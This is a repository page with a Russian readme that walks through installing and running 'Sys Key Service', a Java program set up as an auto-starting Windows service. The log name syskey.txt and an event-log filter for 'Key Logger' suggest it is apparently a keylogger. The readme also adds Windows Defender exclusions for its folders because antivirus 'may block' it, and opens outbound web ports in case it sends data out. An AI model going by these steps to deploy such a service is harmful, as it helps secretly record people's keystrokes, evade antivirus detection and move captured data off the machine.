Sys key Service

app change run config 4 months ago
src/main/java/ru/mcs/ syskey Change logic write in log 4 months ago
pom.xml add readme.md 4 months ago
readme.md change readme.md 4 months ago
readme.md
  1. Установка службы (если ещё не установлена) powershell

Требует прав администратора

Set-Location "C:\Program Files\SysKeyService" .\SysKeyService.exe install

  1. Запуск службы powershell

Способ 1: Через WinSW

.\SysKeyService.exe start

Способ 2: Через PowerShell

Start-Service -Name "Sys Key Service"

  1. Проверка состояния службы powershell

Get-Service -Name "Sys Key Service"

  1. Остановка службы powershell

Через WinSW

.\SysKeyService.exe stop

Через PowerShell

Stop-Service -Name "Sys Key Service"

  1. Удаление службы powershell

Требует остановки службы

.\SysKeyService.exe uninstall

  1. Просмотр логов службы powershell

Логи WinSW

Get-Content "C:\Program Files\SysKeyService\SysKeyService.out.log" -Tail 50 Get-Content "C:\Program Files\SysKeyService\SysKeyService.err.log" -Tail 50

Логи приложения

Get-Content "C:\ProgramData\SysKeyService\syskey.txt" -Tail 100

  1. Полный скрипт установки и запуска powershell

Требует прав администратора

$serviceName = "Sys Key Service" $installDir = "C:\Program Files\SysKeyService" $jarPath = "$installDir\SysKeyService.jar"

Создание директории

New-Item -Path $installDir -ItemType Directory -Force

Копирование файлов (замените на свои пути)

Copy-Item -Path ".\SysKeyService.jar" -Destination $jarPath Copy-Item -Path ".\SysKeyService.exe" -Destination $installDir Copy-Item -Path ".\SysKeyService.xml" -Destination $installDir

Установка службы

Set-Location $installDir .\SysKeyService.exe install

Запуск службы

Start-Service -Name $serviceName

Проверка статуса

Get-Service -Name $serviceName

Автозапуск при загрузке

Set-Service -Name $serviceName -StartupType Automatic

  1. Важные команды для управления службами powershell

Список всех служб

Get-Service

Поиск службы по имени

Get-Service -Name "Key"

Перезапуск службы

Restart-Service -Name "Sys Key Service"

Изменение типа запуска

Set-Service -Name "Sys Key Service" -StartupType Automatic # Автозапуск Set-Service -Name "Sys Key Service" -StartupType Manual # Ручной запуск Set-Service -Name "Sys Key Service" -StartupType Disabled # Отключена

  1. Устранение неполадок

Если служба не запускается: powershell

Просмотр системных логов

Get-EventLog -LogName System -Source "Service Control Manager" -After (Get-Date).AddMinutes(-5) | Where-Object {$_.Message -like "Key Logger"}

Проверка прав доступа

icacls "C:\Program Files\SysKeyService" icacls "C:\ProgramData\SysKeyService"

Проверка зависимости от Java

where.exe java java -version

  1. Удаление службы (полное) powershell

Stop-Service -Name "Sys Key Service" -Force .\SysKeyService.exe uninstall Remove-Item -Path "C:\Program Files\SysKeyService" -Recurse -Force Remove-Item -Path "C:\ProgramData\SysKeyService" -Recurse -Force

Важные замечания:

Права доступа: Все команды управления службами требуют запуска PowerShell от имени администратора.

Политика выполнения:
Если возникает ошибка выполнения скриптов:
powershell

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force

Безопасность:

Антивирусы могут блокировать работу службы

Добавьте исключения для папок:
powershell

Add-MpPreference -ExclusionPath "C:\Program Files\SysKeyService"
Add-MpPreference -ExclusionPath "C:\ProgramData\SysKeyService"

Логирование:

Логи службы: C:\Program Files\SysKeyService\*.log

Логи приложения: C:\ProgramData\SysKeyService\syskey.txt

Системные логи: Event Viewer > Windows Logs > System

Сетевая безопасность: Если служба отправляет данные по сети, откройте порты: powershell

New-NetFirewallRule -DisplayName "SysKeyService Service" -Direction Outbound -Protocol TCP -RemotePort 80,443 -Action Allow

Для постоянного мониторинга состояния службы можно использовать: powershell

Get-Service -Name "Sys Key Service" | Format-List *